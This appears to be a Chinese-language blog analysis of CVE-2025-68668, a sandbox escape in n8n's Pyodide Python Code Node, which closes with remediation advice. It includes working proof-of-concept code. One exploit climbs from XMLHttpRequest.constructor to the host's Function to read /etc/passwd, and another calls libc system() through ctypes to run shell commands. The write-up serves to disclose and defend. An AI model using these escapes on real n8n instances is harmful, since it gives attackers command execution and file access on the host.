破笼之鸟:n8n 沙箱逃逸漏洞 (CVE-2025-68668) 深度剖析
1. 漏洞概述
随着 AI Agent 和自动化工作流(Agentic Workflow)在 2025 年的全面爆发,像 n8n、Dify 这样允许用户嵌入自定义代码逻辑的平台,正面临前所未有的安全挑战。
CVE-2025-68668 是 2026年1月 最新披露的一个严重沙箱逃逸漏洞。该漏洞存在于 n8n 的 Python 代码节点(Python Code Node)中。在 n8n 1.0.0 至 2.0.0 之前的版本中,虽然引入了 Pyodide(基于 WASM 的 Python 运行时)作为沙箱环境来隔离用户代码,但由于其初始化逻辑存在严重的“黑名单”设计缺陷,攻击者可以通过特定的对象引用链逃逸出虚拟环境,进而在宿主机上执行任意命令。
2. 漏洞环境与防护逻辑分析
n8n 使用 Pyodide 在 Node.js 环境中模拟 Python 运行。为了防止恶意操作,开发者在 /nodes/Code/Pyodide.js 中构建了一套防护机制。
脆弱的“黑名单”防线
在初始化 Pyodide 实例时,n8n 注入了一段 Python 脚本来禁用危险函数:
Python
# [Pyodide.js 中的防护逻辑]
# 定义一个阻断函数,调用即报错
def blocked_function(*args, **kwargs):
raise RuntimeError("Blocked for security reasons")
# 1. 覆盖 os.system (防止命令执行)
os.system = blocked_function
# 2. 阻止 JS 构造函数 (防止获取 JS Function)
Object.constructor.constructor = blocked_function
# 3. 替换 js 模块 (防止 Python 与 JS 交互)
sys.modules['js'] = blocked_module()
这种防御策略存在典型的逻辑漏洞:仅封堵了已知路径,却忽略了上下文中的“漏网之鱼”。
3. 逃逸路径一:宿主对象引用污染 (Prototype Chain Pollution)
这是利用 Node.js 与 Pyodide 交互机制的经典逃逸手法。攻击者利用外部传入的宿主对象,反向推导出了宿主环境的根对象。
原理分析
在沙箱初始化时,为了支持网络请求,n8n 将宿主环境的 XMLHttpRequest 对象直接注入到了沙箱的全局变量 jsglobals 中。
JavaScript
// [Pyodide.js]
const context = (0, node_vm_1.createContext)({
// ...
jsglobals: {
// 致命错误:将宿主环境的 XMLHttpRequest 原型暴露给了沙箱
XMLHttpRequest,
// ...
},
});
尽管 n8n 封锁了沙箱内部对象的 constructor,但它无法封锁从外部传入的 XMLHttpRequest 对象的原型链。
攻击利用链:
-
恢复模块:虽然
sys.modules['js']被替换,但通过del sys.modules['js']后重新import js,即可恢复与 JS 环境的桥接。 -
获取跳板:访问
js.XMLHttpRequest(这是来自宿主的漏网之鱼)。 -
原型链攀爬:
js.XMLHttpRequest是一个类(函数),在 JS 中,所有函数的构造器都是Function。因此,js.XMLHttpRequest.constructor指向的就是 宿主环境的 Function 构造器。 -
任意代码执行:拥有了宿主的
Function构造器,攻击者就可以构造new Function("return process")(),从而获得宿主的process对象,进而require('child_process')。
PoC:读取敏感文件
Python
import sys
# 1. 绕过模块封锁
if 'js' in sys.modules:
del sys.modules['js']
import js
try:
# 2. 获取宿主 Function 构造器
# 绕过 Object.constructor 限制,走 XHR -> Function 路径
HostFunction = js.XMLHttpRequest.constructor
# 3. 在宿主 Node.js 环境执行代码
# 类似于在 Node.js 中执行: const real_process = (new Function("return process"))()
get_process = HostFunction("return process")
real_process = get_process()
# 4. 加载 fs 模块读取 /etc/passwd
require = real_process.mainModule.require
fs = require('fs')
content = fs.readFileSync('/etc/passwd', 'utf-8')
return {"file_content": content}
except Exception as e:
return {"error": str(e)}
4. 逃逸路径二:FFI 穿透 (ctypes)
如果说第一种路径是利用了 JS 互操作性的漏洞,第二种路径则是利用了 Python 语言特性对操作系统底层能力的直接调用。
原理分析
开发者只封禁了 os.system。在 Python 中,os.system 只是执行命令的一种方式,底层是调用 C 语言标准库(libc)。
Python 的 ctypes 库是一个外部函数接口(FFI)库,它允许 Python 代码直接加载动态链接库(.so/.dll)并调用其中的 C 函数。n8n 的沙箱策略完全遗漏了对 ctypes 的限制。
如图所示:
-
被封堵路径:用户 ->
os.system->blocked_function-> 拦截。 -
逃逸路径:用户 ->
ctypes-> 加载libc.so-> 直接调用 C 语言system()-> 操作系统内核。
PoC:执行系统命令
Python
import ctypes
# 1. 加载标准 C 库 (Linux/macOS 下通常能自动找到 libc)
libc = ctypes.CDLL(None)
# 2. 定义函数签名
libc.system.argtypes = [ctypes.c_char_p]
libc.system.restype = ctypes.c_int
# 3. 直接调用底层的 system 函数执行命令
# 绕过了 Python 层的所有 Hook
cmd = b'echo "Pwned via ctypes" > /tmp/n8n_pwned.txt'
libc.system(cmd)
return {"status": "Command Executed via FFI"}
5. 总结与防御
CVE-2025-68668 再次印证了在应用层实现沙箱的极高难度。仅仅依赖“禁用危险函数”的黑名单策略,在现代语言丰富的反射(Reflection)和互操作(Interop)特性面前不堪一击。
修复方案
-
升级 n8n:请立即升级到 2.0.0 及以上版本。新版本重构了沙箱机制。
-
严格白名单:在 Pyodide 初始化时,应移除
XMLHttpRequest等所有非必要的宿主对象注入。 -
内核级隔离:对于允许用户运行代码的 AI Agent 平台,最安全的方案不是依赖语言沙箱,而是将执行环境放入 gVisor、Firecracker 或无网络权限的 Docker 容器中,从操作系统层面切断逃逸路径。
更多推荐



所有评论(0)